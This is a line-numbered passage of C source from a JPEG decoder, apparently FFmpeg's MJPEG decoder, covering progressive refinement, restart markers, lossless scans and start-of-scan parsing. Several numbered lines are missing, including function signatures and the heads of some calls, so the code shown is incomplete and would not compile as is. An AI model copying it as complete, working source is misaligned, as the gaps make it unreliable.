939 if (i > *last_nnz)
940 *last_nnz = i;
941
942 return 0;
943 }
944
945 #define REFINE_BIT(j) { \
946 UPDATE_CACHE(re, &s->gb); \
947 sign = block[j] >> 15; \
948 block[j] += SHOW_UBITS(re, &s->gb, 1) * \
949 ((quant_matrix[i] ^ sign) - sign) << Al; \
950 LAST_SKIP_BITS(re, &s->gb, 1); \
951 }
952
953 #define ZERO_RUN \
954 for (; ; i++) { \
955 if (i > last) { \
956 i += run; \
957 if (i > se) { \
958 av_log(s->avctx, AV_LOG_ERROR, "error count: %d\n", i); \
959 return -1; \
960 } \
961 break; \
962 } \
963 j = s->scantable.permutated[i]; \
964 if (block[j]) \
965 REFINE_BIT(j) \
966 else if (run-- == 0) \
967 break; \
968 }
969
970 /* decode block and dequantize - progressive JPEG refinement pass */
972 uint8_t *last_nnz,
973 int ac_index, uint16_t *quant_matrix,
974 int ss, int se, int Al, int *EOBRUN)
975 {
976 int code, i = ss, j, sign, val, run;
977 int last = FFMIN(se, *last_nnz);
978
979 OPEN_READER(re, &s->gb);
980 if (*EOBRUN) {
981 (*EOBRUN)--;
982 } else {
983 for (; ; i++) {
984 UPDATE_CACHE(re, &s->gb);
985 GET_VLC(code, re, &s->gb, s->vlcs[2][ac_index].table, 9, 2);
986
987 if (code & 0xF) {
988 run = ((unsigned) code) >> 4;
989 UPDATE_CACHE(re, &s->gb);
990 val = SHOW_UBITS(re, &s->gb, 1);
991 LAST_SKIP_BITS(re, &s->gb, 1);
992 ZERO_RUN;
993 j = s->scantable.permutated[i];
994 val--;
995 block[j] = ((quant_matrix[i] << Al) ^ val) - val;
996 if (i == se) {
997 if (i > *last_nnz)
998 *last_nnz = i;
999 CLOSE_READER(re, &s->gb);
1000 return 0;
1001 }
1002 } else {
1003 run = ((unsigned) code) >> 4;
1004 if (run == 0xF) {
1005 ZERO_RUN;
1006 } else {
1007 val = run;
1008 run = (1 << run);
1009 if (val) {
1010 UPDATE_CACHE(re, &s->gb);
1011 run += SHOW_UBITS(re, &s->gb, val);
1012 LAST_SKIP_BITS(re, &s->gb, val);
1013 }
1014 *EOBRUN = run - 1;
1015 break;
1016 }
1017 }
1018 }
1019
1020 if (i > *last_nnz)
1021 *last_nnz = i;
1022 }
1023
1024 for (; i <= last; i++) {
1025 j = s->scantable.permutated[i];
1026 if (block[j])
1027 REFINE_BIT(j)
1028 }
1029 CLOSE_READER(re, &s->gb);
1030
1031 return 0;
1032 }
1033 #undef REFINE_BIT
1034 #undef ZERO_RUN
1035
1036 static int handle_rstn(MJpegDecodeContext *s, int nb_components)
1037 {
1038 int i;
1039 int reset = 0;
1040
1041 if (s->restart_interval) {
1042 s->restart_count--;
1043 if(s->restart_count == 0 && s->avctx->codec_id == AV_CODEC_ID_THP){
1044 align_get_bits(&s->gb);
1045 for (i = 0; i < nb_components; i++) /* reset dc */
1046 s->last_dc[i] = (4 << s->bits);
1047 }
1048
1049 i = 8 + ((-get_bits_count(&s->gb)) & 7);
1050 /* skip RSTn */
1051 if (s->restart_count == 0) {
1052 if( show_bits(&s->gb, i) == (1 << i) - 1
1053 || show_bits(&s->gb, i) == 0xFF) {
1054 int pos = get_bits_count(&s->gb);
1055 align_get_bits(&s->gb);
1056 while (get_bits_left(&s->gb) >= 8 && show_bits(&s->gb, 8) == 0xFF)
1057 skip_bits(&s->gb, 8);
1058 if (get_bits_left(&s->gb) >= 8 && (get_bits(&s->gb, 8) & 0xF8) == 0xD0) {
1059 for (i = 0; i < nb_components; i++) /* reset dc */
1060 s->last_dc[i] = (4 << s->bits);
1061 reset = 1;
1062 } else
1063 skip_bits_long(&s->gb, pos - get_bits_count(&s->gb));
1064 }
1065 }
1066 }
1067 return reset;
1068 }
1069
1070 /* Handles 1 to 4 components */
1071 static int ljpeg_decode_rgb_scan(MJpegDecodeContext *s, int nb_components, int predictor, int point_transform)
1072 {
1073 int i, mb_x, mb_y;
1074 unsigned width;
1075 uint16_t (*buffer)[4];
1076 int left[4], top[4], topleft[4];
1077 const int linesize = s->linesize[0];
1078 const int mask = ((1 << s->bits) - 1) << point_transform;
1079 int resync_mb_y = 0;
1080 int resync_mb_x = 0;
1081 int vpred[6];
1082
1083 if (!s->bayer && s->nb_components < 3)
1084 return AVERROR_INVALIDDATA;
1085 if (s->bayer && s->nb_components > 2)
1086 return AVERROR_INVALIDDATA;
1087 if (s->nb_components <= 0 || s->nb_components > 4)
1088 return AVERROR_INVALIDDATA;
1089 if (s->v_max != 1 || s->h_max != 1 || !s->lossless)
1090 return AVERROR_INVALIDDATA;
1091
1092
1093 s->restart_count = s->restart_interval;
1094
1095 if (s->restart_interval == 0)
1096 s->restart_interval = INT_MAX;
1097
1098 if (s->bayer)
1099 width = s->mb_width / nb_components; /* Interleaved, width stored is the total so need to divide */
1100 else
1101 width = s->mb_width;
1102
1103 av_fast_malloc(&s->ljpeg_buffer, &s->ljpeg_buffer_size, width * 4 * sizeof(s->ljpeg_buffer[0][0]));
1104 if (!s->ljpeg_buffer)
1105 return AVERROR(ENOMEM);
1106
1107 buffer = s->ljpeg_buffer;
1108
1109 for (i = 0; i < 4; i++)
1110 buffer[0][i] = 1 << (s->bits - 1);
1111
1112 for (mb_y = 0; mb_y < s->mb_height; mb_y++) {
1113 uint8_t *ptr = s->picture_ptr->data[0] + (linesize * mb_y);
1114
1115 if (s->interlaced && s->bottom_field)
1116 ptr += linesize >> 1;
1117
1118 for (i = 0; i < 4; i++)
1119 top[i] = left[i] = topleft[i] = buffer[0][i];
1120
1121 if ((mb_y * s->width) % s->restart_interval == 0) {
1122 for (i = 0; i < 6; i++)
1123 vpred[i] = 1 << (s->bits-1);
1124 }
1125
1126 for (mb_x = 0; mb_x < width; mb_x++) {
1127 int modified_predictor = predictor;
1128
1129 if (get_bits_left(&s->gb) < 1) {
1130 av_log(s->avctx, AV_LOG_ERROR, "bitstream end in rgb_scan\n");
1131 return AVERROR_INVALIDDATA;
1132 }
1133
1134 if (s->restart_interval && !s->restart_count){
1135 s->restart_count = s->restart_interval;
1136 resync_mb_x = mb_x;
1137 resync_mb_y = mb_y;
1138 for(i=0; i<4; i++)
1139 top[i] = left[i]= topleft[i]= 1 << (s->bits - 1);
1140 }
1141 if (mb_y == resync_mb_y || mb_y == resync_mb_y+1 && mb_x < resync_mb_x || !mb_x)
1142 modified_predictor = 1;
1143
1144 for (i=0;i<nb_components;i++) {
1145 int pred, dc;
1146
1147 topleft[i] = top[i];
1148 top[i] = buffer[mb_x][i];
1149
1150 dc = mjpeg_decode_dc(s, s->dc_index[i]);
1151 if(dc == 0xFFFFF)
1152 return -1;
1153
1154 if (!s->bayer || mb_x) {
1155 pred = left[i];
1156 } else { /* This path runs only for the first line in bayer images */
1157 vpred[i] += dc;
1158 pred = vpred[i] - dc;
1159 }
1160
1161 PREDICT(pred, topleft[i], top[i], pred, modified_predictor);
1162
1163 left[i] = buffer[mb_x][i] =
1164 mask & (pred + (unsigned)(dc * (1 << point_transform)));
1165 }
1166
1167 if (s->restart_interval && !--s->restart_count) {
1168 align_get_bits(&s->gb);
1169 skip_bits(&s->gb, 16); /* skip RSTn */
1170 }
1171 }
1172 if (s->rct && s->nb_components == 4) {
1173 for (mb_x = 0; mb_x < s->mb_width; mb_x++) {
1174 ptr[4*mb_x + 2] = buffer[mb_x][0] - ((buffer[mb_x][1] + buffer[mb_x][2] - 0x200) >> 2);
1175 ptr[4*mb_x + 1] = buffer[mb_x][1] + ptr[4*mb_x + 2];
1176 ptr[4*mb_x + 3] = buffer[mb_x][2] + ptr[4*mb_x + 2];
1177 ptr[4*mb_x + 0] = buffer[mb_x][3];
1178 }
1179 } else if (s->nb_components == 4) {
1180 for(i=0; i<nb_components; i++) {
1181 int c= s->comp_index[i];
1182 if (s->bits <= 8) {
1183 for(mb_x = 0; mb_x < s->mb_width; mb_x++) {
1184 ptr[4*mb_x+3-c] = buffer[mb_x][i];
1185 }
1186 } else if(s->bits == 9) {
1187 return AVERROR_PATCHWELCOME;
1188 } else {
1189 for(mb_x = 0; mb_x < s->mb_width; mb_x++) {
1190 ((uint16_t*)ptr)[4*mb_x+c] = buffer[mb_x][i];
1191 }
1192 }
1193 }
1194 } else if (s->rct) {
1195 for (mb_x = 0; mb_x < s->mb_width; mb_x++) {
1196 ptr[3*mb_x + 1] = buffer[mb_x][0] - ((buffer[mb_x][1] + buffer[mb_x][2] - 0x200) >> 2);
1197 ptr[3*mb_x + 0] = buffer[mb_x][1] + ptr[3*mb_x + 1];
1198 ptr[3*mb_x + 2] = buffer[mb_x][2] + ptr[3*mb_x + 1];
1199 }
1200 } else if (s->pegasus_rct) {
1201 for (mb_x = 0; mb_x < s->mb_width; mb_x++) {
1202 ptr[3*mb_x + 1] = buffer[mb_x][0] - ((buffer[mb_x][1] + buffer[mb_x][2]) >> 2);
1203 ptr[3*mb_x + 0] = buffer[mb_x][1] + ptr[3*mb_x + 1];
1204 ptr[3*mb_x + 2] = buffer[mb_x][2] + ptr[3*mb_x + 1];
1205 }
1206 } else if (s->bayer) {
1207 if (nb_components == 1) {
1208 /* Leave decoding to the TIFF/DNG decoder (see comment in ff_mjpeg_decode_sof) */
1209 for (mb_x = 0; mb_x < width; mb_x++)
1210 ((uint16_t*)ptr)[mb_x] = buffer[mb_x][0];
1211 } else if (nb_components == 2) {
1212 for (mb_x = 0; mb_x < width; mb_x++) {
1213 ((uint16_t*)ptr)[2*mb_x + 0] = buffer[mb_x][0];
1214 ((uint16_t*)ptr)[2*mb_x + 1] = buffer[mb_x][1];
1215 }
1216 }
1217 } else {
1218 for(i=0; i<nb_components; i++) {
1219 int c= s->comp_index[i];
1220 if (s->bits <= 8) {
1221 for(mb_x = 0; mb_x < s->mb_width; mb_x++) {
1222 ptr[3*mb_x+2-c] = buffer[mb_x][i];
1223 }
1224 } else if(s->bits == 9) {
1225 return AVERROR_PATCHWELCOME;
1226 } else {
1227 for(mb_x = 0; mb_x < s->mb_width; mb_x++) {
1228 ((uint16_t*)ptr)[3*mb_x+2-c] = buffer[mb_x][i];
1229 }
1230 }
1231 }
1232 }
1233 }
1234 return 0;
1235 }
1236
1238 int point_transform, int nb_components)
1239 {
1240 int i, mb_x, mb_y, mask;
1241 int bits= (s->bits+7)&~7;
1242 int resync_mb_y = 0;
1243 int resync_mb_x = 0;
1244
1245 point_transform += bits - s->bits;
1246 mask = ((1 << s->bits) - 1) << point_transform;
1247
1248 av_assert0(nb_components>=1 && nb_components<=4);
1249
1250 for (mb_y = 0; mb_y < s->mb_height; mb_y++) {
1251 for (mb_x = 0; mb_x < s->mb_width; mb_x++) {
1252 if (get_bits_left(&s->gb) < 1) {
1253 av_log(s->avctx, AV_LOG_ERROR, "bitstream end in yuv_scan\n");
1254 return AVERROR_INVALIDDATA;
1255 }
1256 if (s->restart_interval && !s->restart_count){
1257 s->restart_count = s->restart_interval;
1258 resync_mb_x = mb_x;
1259 resync_mb_y = mb_y;
1260 }
1261
1262 if(!mb_x || mb_y == resync_mb_y || mb_y == resync_mb_y+1 && mb_x < resync_mb_x || s->interlaced){
1263 int toprow = mb_y == resync_mb_y || mb_y == resync_mb_y+1 && mb_x < resync_mb_x;
1264 int leftcol = !mb_x || mb_y == resync_mb_y && mb_x == resync_mb_x;
1265 for (i = 0; i < nb_components; i++) {
1266 uint8_t *ptr;
1267 uint16_t *ptr16;
1268 int n, h, v, x, y, c, j, linesize;
1269 n = s->nb_blocks[i];
1270 c = s->comp_index[i];
1271 h = s->h_scount[i];
1272 v = s->v_scount[i];
1273 x = 0;
1274 y = 0;
1275 linesize= s->linesize[c];
1276
1277 if(bits>8) linesize /= 2;
1278
1279 for(j=0; j<n; j++) {
1280 int pred, dc;
1281
1282 dc = mjpeg_decode_dc(s, s->dc_index[i]);
1283 if(dc == 0xFFFFF)
1284 return -1;
1285 if ( h * mb_x + x >= s->width
1286 || v * mb_y + y >= s->height) {
1287 // Nothing to do
1288 } else if (bits<=8) {
1289 ptr = s->picture_ptr->data[c] + (linesize * (v * mb_y + y)) + (h * mb_x + x); //FIXME optimize this crap
1290 if(y==0 && toprow){
1291 if(x==0 && leftcol){
1292 pred= 1 << (bits - 1);
1293 }else{
1294 pred= ptr[-1];
1295 }
1296 }else{
1297 if(x==0 && leftcol){
1298 pred= ptr[-linesize];
1299 }else{
1300 PREDICT(pred, ptr[-linesize-1], ptr[-linesize], ptr[-1], predictor);
1301 }
1302 }
1303
1304 if (s->interlaced && s->bottom_field)
1305 ptr += linesize >> 1;
1306 pred &= mask;
1307 *ptr= pred + ((unsigned)dc << point_transform);
1308 }else{
1309 ptr16 = (uint16_t*)(s->picture_ptr->data[c] + 2*(linesize * (v * mb_y + y)) + 2*(h * mb_x + x)); //FIXME optimize this crap
1310 if(y==0 && toprow){
1311 if(x==0 && leftcol){
1312 pred= 1 << (bits - 1);
1313 }else{
1314 pred= ptr16[-1];
1315 }
1316 }else{
1317 if(x==0 && leftcol){
1318 pred= ptr16[-linesize];
1319 }else{
1320 PREDICT(pred, ptr16[-linesize-1], ptr16[-linesize], ptr16[-1], predictor);
1321 }
1322 }
1323
1324 if (s->interlaced && s->bottom_field)
1325 ptr16 += linesize >> 1;
1326 pred &= mask;
1327 *ptr16= pred + ((unsigned)dc << point_transform);
1328 }
1329 if (++x == h) {
1330 x = 0;
1331 y++;
1332 }
1333 }
1334 }
1335 } else {
1336 for (i = 0; i < nb_components; i++) {
1337 uint8_t *ptr;
1338 uint16_t *ptr16;
1339 int n, h, v, x, y, c, j, linesize, dc;
1340 n = s->nb_blocks[i];
1341 c = s->comp_index[i];
1342 h = s->h_scount[i];
1343 v = s->v_scount[i];
1344 x = 0;
1345 y = 0;
1346 linesize = s->linesize[c];
1347
1348 if(bits>8) linesize /= 2;
1349
1350 for (j = 0; j < n; j++) {
1351 int pred;
1352
1353 dc = mjpeg_decode_dc(s, s->dc_index[i]);
1354 if(dc == 0xFFFFF)
1355 return -1;
1356 if ( h * mb_x + x >= s->width
1357 || v * mb_y + y >= s->height) {
1358 // Nothing to do
1359 } else if (bits<=8) {
1360 ptr = s->picture_ptr->data[c] +
1361 (linesize * (v * mb_y + y)) +
1362 (h * mb_x + x); //FIXME optimize this crap
1363 PREDICT(pred, ptr[-linesize-1], ptr[-linesize], ptr[-1], predictor);
1364
1365 pred &= mask;
1366 *ptr = pred + ((unsigned)dc << point_transform);
1367 }else{
1368 ptr16 = (uint16_t*)(s->picture_ptr->data[c] + 2*(linesize * (v * mb_y + y)) + 2*(h * mb_x + x)); //FIXME optimize this crap
1369 PREDICT(pred, ptr16[-linesize-1], ptr16[-linesize], ptr16[-1], predictor);
1370
1371 pred &= mask;
1372 *ptr16= pred + ((unsigned)dc << point_transform);
1373 }
1374
1375 if (++x == h) {
1376 x = 0;
1377 y++;
1378 }
1379 }
1380 }
1381 }
1382 if (s->restart_interval && !--s->restart_count) {
1383 align_get_bits(&s->gb);
1384 skip_bits(&s->gb, 16); /* skip RSTn */
1385 }
1386 }
1387 }
1388 return 0;
1389 }
1390
1392 uint8_t *dst, const uint8_t *src,
1393 int linesize, int lowres)
1394 {
1395 switch (lowres) {
1396 case 0: s->hdsp.put_pixels_tab[1][0](dst, src, linesize, 8);
1397 break;
1398 case 1: copy_block4(dst, src, linesize, linesize, 4);
1399 break;
1400 case 2: copy_block2(dst, src, linesize, linesize, 2);
1401 break;
1402 case 3: *dst = *src;
1403 break;
1404 }
1405 }
1406
1407 static void shift_output(MJpegDecodeContext *s, uint8_t *ptr, int linesize)
1408 {
1409 int block_x, block_y;
1410 int size = 8 >> s->avctx->lowres;
1411 if (s->bits > 8) {
1412 for (block_y=0; block_y<size; block_y++)
1413 for (block_x=0; block_x<size; block_x++)
1414 *(uint16_t*)(ptr + 2*block_x + block_y*linesize) <<= 16 - s->bits;
1415 } else {
1416 for (block_y=0; block_y<size; block_y++)
1417 for (block_x=0; block_x<size; block_x++)
1418 *(ptr + block_x + block_y*linesize) <<= 8 - s->bits;
1419 }
1420 }
1421
1422 static int mjpeg_decode_scan(MJpegDecodeContext *s, int nb_components, int Ah,
1423 int Al, const uint8_t *mb_bitmask,
1424 int mb_bitmask_size,
1425 const AVFrame *reference)
1426 {
1427 int i, mb_x, mb_y, chroma_h_shift, chroma_v_shift, chroma_width, chroma_height;
1428 uint8_t *data[MAX_COMPONENTS];
1429 const uint8_t *reference_data[MAX_COMPONENTS];
1430 int linesize[MAX_COMPONENTS];
1431 GetBitContext mb_bitmask_gb = {0}; // initialize to silence gcc warning
1432 int bytes_per_pixel = 1 + (s->bits > 8);
1433
1434 if (mb_bitmask) {
1435 if (mb_bitmask_size != (s->mb_width * s->mb_height + 7)>>3) {
1436 av_log(s->avctx, AV_LOG_ERROR, "mb_bitmask_size mismatches\n");
1437 return AVERROR_INVALIDDATA;
1438 }
1439 init_get_bits(&mb_bitmask_gb, mb_bitmask, s->mb_width * s->mb_height);
1440 }
1441
1442 s->restart_count = 0;
1443
1444 av_pix_fmt_get_chroma_sub_sample(s->avctx->pix_fmt, &chroma_h_shift,
1445 &chroma_v_shift);
1446 chroma_width = AV_CEIL_RSHIFT(s->width, chroma_h_shift);
1447 chroma_height = AV_CEIL_RSHIFT(s->height, chroma_v_shift);
1448
1449 for (i = 0; i < nb_components; i++) {
1450 int c = s->comp_index[i];
1451 data[c] = s->picture_ptr->data[c];
1452 reference_data[c] = reference ? reference->data[c] : NULL;
1453 linesize[c] = s->linesize[c];
1454 s->coefs_finished[c] |= 1;
1455 }
1456
1457 for (mb_y = 0; mb_y < s->mb_height; mb_y++) {
1458 for (mb_x = 0; mb_x < s->mb_width; mb_x++) {
1459 const int copy_mb = mb_bitmask && !get_bits1(&mb_bitmask_gb);
1460
1461 if (s->restart_interval && !s->restart_count)
1462 s->restart_count = s->restart_interval;
1463
1464 if (get_bits_left(&s->gb) < 0) {
1465 av_log(s->avctx, AV_LOG_ERROR, "overread %d\n",
1466 -get_bits_left(&s->gb));
1467 return AVERROR_INVALIDDATA;
1468 }
1469 for (i = 0; i < nb_components; i++) {
1470 uint8_t *ptr;
1471 int n, h, v, x, y, c, j;
1472 int block_offset;
1473 n = s->nb_blocks[i];
1474 c = s->comp_index[i];
1475 h = s->h_scount[i];
1476 v = s->v_scount[i];
1477 x = 0;
1478 y = 0;
1479 for (j = 0; j < n; j++) {
1480 block_offset = (((linesize[c] * (v * mb_y + y) * 8) +
1481 (h * mb_x + x) * 8 * bytes_per_pixel) >> s->avctx->lowres);
1482
1483 if (s->interlaced && s->bottom_field)
1484 block_offset += linesize[c] >> 1;
1485 if ( 8*(h * mb_x + x) < ((c == 1) || (c == 2) ? chroma_width : s->width)
1486 && 8*(v * mb_y + y) < ((c == 1) || (c == 2) ? chroma_height : s->height)) {
1487 ptr = data[c] + block_offset;
1488 } else
1489 ptr = NULL;
1490 if (!s->progressive) {
1491 if (copy_mb) {
1492 if (ptr)
1493 mjpeg_copy_block(s, ptr, reference_data[c] + block_offset,
1494 linesize[c], s->avctx->lowres);
1495
1496 } else {
1497 s->bdsp.clear_block(s->block);
1498 if (decode_block(s, s->block, i,
1499 s->dc_index[i], s->ac_index[i],
1500 s->quant_matrixes[s->quant_sindex[i]]) < 0) {
1501 av_log(s->avctx, AV_LOG_ERROR,
1502 "error y=%d x=%d\n", mb_y, mb_x);
1503 return AVERROR_INVALIDDATA;
1504 }
1505 if (ptr) {
1506 s->idsp.idct_put(ptr, linesize[c], s->block);
1507 if (s->bits & 7)
1508 shift_output(s, ptr, linesize[c]);
1509 }
1510 }
1511 } else {
1512 int block_idx = s->block_stride[c] * (v * mb_y + y) +
1513 (h * mb_x + x);
1514 int16_t *block = s->blocks[c][block_idx];
1515 if (Ah)
1516 block[0] += get_bits1(&s->gb) *
1517 s->quant_matrixes[s->quant_sindex[i]][0] << Al;
1518 else if (decode_dc_progressive(s, block, i, s->dc_index[i],
1519 s->quant_matrixes[s->quant_sindex[i]],
1520 Al) < 0) {
1521 av_log(s->avctx, AV_LOG_ERROR,
1522 "error y=%d x=%d\n", mb_y, mb_x);
1523 return AVERROR_INVALIDDATA;
1524 }
1525 }
1526 ff_dlog(s->avctx, "mb: %d %d processed\n", mb_y, mb_x);
1527 ff_dlog(s->avctx, "%d %d %d %d %d %d %d %d \n",
1528 mb_x, mb_y, x, y, c, s->bottom_field,
1529 (v * mb_y + y) * 8, (h * mb_x + x) * 8);
1530 if (++x == h) {
1531 x = 0;
1532 y++;
1533 }
1534 }
1535 }
1536
1537 handle_rstn(s, nb_components);
1538 }
1539 }
1540 return 0;
1541 }
1542
1544 int se, int Ah, int Al)
1545 {
1546 int mb_x, mb_y;
1547 int EOBRUN = 0;
1548 int c = s->comp_index[0];
1549 uint16_t *quant_matrix = s->quant_matrixes[s->quant_sindex[0]];
1550
1551 av_assert0(ss>=0 && Ah>=0 && Al>=0);
1552 if (se < ss || se > 63) {
1553 av_log(s->avctx, AV_LOG_ERROR, "SS/SE %d/%d is invalid\n", ss, se);
1554 return AVERROR_INVALIDDATA;
1555 }
1556
1557 // s->coefs_finished is a bitmask for coefficients coded
1558 // ss and se are parameters telling start and end coefficients
1559 s->coefs_finished[c] |= (2ULL << se) - (1ULL << ss);
1560
1561 s->restart_count = 0;
1562
1563 for (mb_y = 0; mb_y < s->mb_height; mb_y++) {
1564 int block_idx = mb_y * s->block_stride[c];
1565 int16_t (*block)[64] = &s->blocks[c][block_idx];
1566 uint8_t *last_nnz = &s->last_nnz[c][block_idx];
1567 if (get_bits_left(&s->gb) <= 0) {
1568 av_log(s->avctx, AV_LOG_ERROR, "bitstream truncated in mjpeg_decode_scan_progressive_ac\n");
1569 return AVERROR_INVALIDDATA;
1570 }
1571 for (mb_x = 0; mb_x < s->mb_width; mb_x++, block++, last_nnz++) {
1572 int ret;
1573 if (s->restart_interval && !s->restart_count)
1574 s->restart_count = s->restart_interval;
1575
1576 if (Ah)
1577 ret = decode_block_refinement(s, *block, last_nnz, s->ac_index[0],
1578 quant_matrix, ss, se, Al, &EOBRUN);
1579 else
1580 ret = decode_block_progressive(s, *block, last_nnz, s->ac_index[0],
1581 quant_matrix, ss, se, Al, &EOBRUN);
1582
1583 if (ret >= 0 && get_bits_left(&s->gb) < 0)
1585 if (ret < 0) {
1586 av_log(s->avctx, AV_LOG_ERROR,
1587 "error y=%d x=%d\n", mb_y, mb_x);
1588 return AVERROR_INVALIDDATA;
1589 }
1590
1591 if (handle_rstn(s, 0))
1592 EOBRUN = 0;
1593 }
1594 }
1595 return 0;
1596 }
1597
1599 {
1600 int mb_x, mb_y;
1601 int c;
1602 const int bytes_per_pixel = 1 + (s->bits > 8);
1603 const int block_size = s->lossless ? 1 : 8;
1604
1605 for (c = 0; c < s->nb_components; c++) {
1606 uint8_t *data = s->picture_ptr->data[c];
1607 int linesize = s->linesize[c];
1608 int h = s->h_max / s->h_count[c];
1609 int v = s->v_max / s->v_count[c];
1610 int mb_width = (s->width + h * block_size - 1) / (h * block_size);
1611 int mb_height = (s->height + v * block_size - 1) / (v * block_size);
1612
1613 if (~s->coefs_finished[c])
1614 av_log(s->avctx, AV_LOG_WARNING, "component %d is incomplete\n", c);
1615
1616 if (s->interlaced && s->bottom_field)
1617 data += linesize >> 1;
1618
1619 for (mb_y = 0; mb_y < mb_height; mb_y++) {
1620 uint8_t *ptr = data + (mb_y * linesize * 8 >> s->avctx->lowres);
1621 int block_idx = mb_y * s->block_stride[c];
1622 int16_t (*block)[64] = &s->blocks[c][block_idx];
1623 for (mb_x = 0; mb_x < mb_width; mb_x++, block++) {
1624 s->idsp.idct_put(ptr, linesize, *block);
1625 if (s->bits & 7)
1626 shift_output(s, ptr, linesize);
1627 ptr += bytes_per_pixel*8 >> s->avctx->lowres;
1628 }
1629 }
1630 }
1631 }
1632
1633 int ff_mjpeg_decode_sos(MJpegDecodeContext *s, const uint8_t *mb_bitmask,
1634 int mb_bitmask_size, const AVFrame *reference)
1635 {
1636 int len, nb_components, i, h, v, predictor, point_transform;
1637 int index, id, ret;
1638 const int block_size = s->lossless ? 1 : 8;
1639 int ilv, prev_shift;
1640
1641 if (!s->got_picture) {
1642 av_log(s->avctx, AV_LOG_WARNING,
1643 "Can not process SOS before SOF, skipping\n");
1644 return -1;
1645 }
1646
1647 if (reference) {
1648 if (reference->width != s->picture_ptr->width ||
1649 reference->height != s->picture_ptr->height ||
1650 reference->format != s->picture_ptr->format) {
1651 av_log(s->avctx, AV_LOG_ERROR, "Reference mismatching\n");
1652 return AVERROR_INVALIDDATA;
1653 }
1654 }
1655
1656 /* XXX: verify len field validity */
1657 len = get_bits(&s->gb, 16);
1658 nb_components = get_bits(&s->gb, 8);
1659 if (nb_components == 0 || nb_components > MAX_COMPONENTS) {
1661 "decode_sos: nb_components (%d)",
1662 nb_components);
1663 return AVERROR_PATCHWELCOME;
1664 }
1665 if (len != 6 + 2 * nb_components) {
1666 av_log(s->avctx, AV_LOG_ERROR, "decode_sos: invalid len (%d)\n", len);
1667 return AVERROR_INVALIDDATA;
1668 }
1669 for (i = 0; i < nb_components; i++) {
1670 id = get_bits(&s->gb, 8) - 1;
1671 av_log(s->avctx, AV_LOG_DEBUG, "component: %d\n", id);
1672 /* find component index */
1673 for (index = 0; index < s->nb_components; index++)
1674 if (id == s->component_id[index])
1675 break;
1676 if (index == s->nb_components) {
1677 av_log(s->avctx, AV_LOG_ERROR,
1678 "decode_sos: index(%d) out of components\n", index);
1679 return AVERROR_INVALIDDATA;
1680 }
1681 /* Metasoft MJPEG codec has Cb and Cr swapped */
1682 if (s->avctx->codec_tag == MKTAG('M', 'T', 'S', 'J')
1683 && nb_components == 3 && s->nb_components == 3 && i)
1684 index = 3 - i;
1685
1686 s->quant_sindex[i] = s->quant_index[index];
1687 s->nb_blocks[i] = s->h_count[index] * s->v_count[index];
1688 s->h_scount[i] = s->h_count[index];
1689 s->v_scount[i] = s->v_count[index];
1690
1691 if((nb_components == 1 || nb_components == 3) && s->nb_components == 3 && s->avctx->pix_fmt == AV_PIX_FMT_GBR24P)
1692 index = (index+2)%3;
1693
1694 s->comp_index[i] = index;
1695
1696 s->dc_index[i] = get_bits(&s->gb, 4);
1697 s->ac_index[i] = get_bits(&s->gb, 4);
1698
1699 if (s->dc_index[i] < 0 || s->ac_index[i] < 0 ||
1700 s->dc_index[i] >= 4 || s->ac_index[i] >= 4)
1701 goto out_of_range;
1702 if (!s->vlcs[0][s->dc_index[i]].table || !(s->progressive ? s->vlcs[2][s->ac_index[0]].table : s->vlcs[1][s->ac_index[i]].table))
1703 goto out_of_range;
1704 }
1705
1706 predictor = get_bits(&s->gb, 8); /* JPEG Ss / lossless JPEG predictor /JPEG-LS NEAR */
1707 ilv = get_bits(&s->gb, 8); /* JPEG Se / JPEG-LS ILV */
1708 if(s->avctx->codec_tag != AV_RL32("CJPG")){
1709 prev_shift = get_bits(&s->gb, 4); /* Ah */
1710 point_transform = get_bits(&s->gb, 4); /* Al */
1711 }else
1712 prev_shift = point_transform = 0;
1713
1714 if (nb_components > 1) {
1715 /* interleaved stream */
1716 s->mb_width = (s->width + s->h_max * block_size - 1) / (s->h_max * block_size);
1717 s->mb_height = (s->height + s->v_max * block_size - 1) / (s->v_max * block_size);
1718 } else if (!s->ls) { /* skip this for JPEG-LS */
1719 h = s->h_max / s->h_scount[0];
1720 v = s->v_max / s->v_scount[0];
1721 s->mb_width = (s->width + h * block_size - 1) / (h * block_size);
1722 s->mb_height = (s->height + v * block_size - 1) / (v * block_size);
1723 s->nb_blocks[0] = 1;
1724 s->h_scount[0] = 1;
1725 s->v_scount[0] = 1;
1726 }
1727
1728 if (s->avctx->debug & FF_DEBUG_PICT_INFO)
1729 av_log(s->avctx, AV_LOG_DEBUG, "%s %s p:%d >>:%d ilv:%d bits:%d skip:%d %s comp:%d\n",
1730 s->lossless ? "lossless" : "sequential DCT", s->rgb ? "RGB" : "",
1731 predictor, point_transform, ilv, s->bits, s->mjpb_skiptosod,
1732 s->pegasus_rct ? "PRCT" : (s->rct ? "RCT" : ""), nb_components);
1733
1734
1735 /* mjpeg-b can have padding bytes between sos and image data, skip them */
1736 for (i = s->mjpb_skiptosod; i > 0; i--)
1737 skip_bits(&s->gb, 8);
1738
1739 next_field:
1740 for (i = 0; i < nb_components; i++)
1741 s->last_dc[i] = (4 << s->bits);
1742
1743 if (s->avctx->hwaccel) {
1744 int bytes_to_start = get_bits_count(&s->gb) / 8;
1745 av_assert0(bytes_to_start >= 0 &&
1746 s->raw_scan_buffer_size >= bytes_to_start);
1747
1748 ret = s->avctx->hwaccel->decode_slice(s->avctx,
1749 s->raw_scan_buffer + bytes_to_start,
1750 s->raw_scan_buffer_size - bytes_to_start);
1751 if (ret < 0)
1752 return ret;
1753
1754 } else if (s->lossless) {
1755 av_assert0(s->picture_ptr == s->picture);
1756 if (CONFIG_JPEGLS_DECODER && s->ls) {
1757 // for () {
1758 // reset_ls_coding_parameters(s, 0);
1759
1761 point_transform, ilv)) < 0)
1762 return ret;
1763 } else {
1764 if (s->rgb || s->bayer) {
1765 if ((ret = ljpeg_decode_rgb_scan(s, nb_components, predictor, point_transform)) < 0)
1766 return ret;
1767 } else {
1769 point_transform,
1770 nb_components)) < 0)
1771 return ret;
1772 }
1773 }
1774 } else {
1775 if (s->progressive && predictor) {
1776 av_assert0(s->picture_ptr == s->picture);
1778 ilv, prev_shift,
1779 point_transform)) < 0)
1780 return ret;
1781 } else {
1782 if ((ret = mjpeg_decode_scan(s, nb_components,
1783 prev_shift, point_transform,
1784 mb_bitmask, mb_bitmask_size, reference)) < 0)
1785 return ret;
1786 }
1787 }
1788
1789 if (s->interlaced &&
1790 get_bits_left(&s->gb) > 32 &&
1791 show_bits(&s->gb, 8) == 0xFF) {
1792 GetBitContext bak = s->gb;
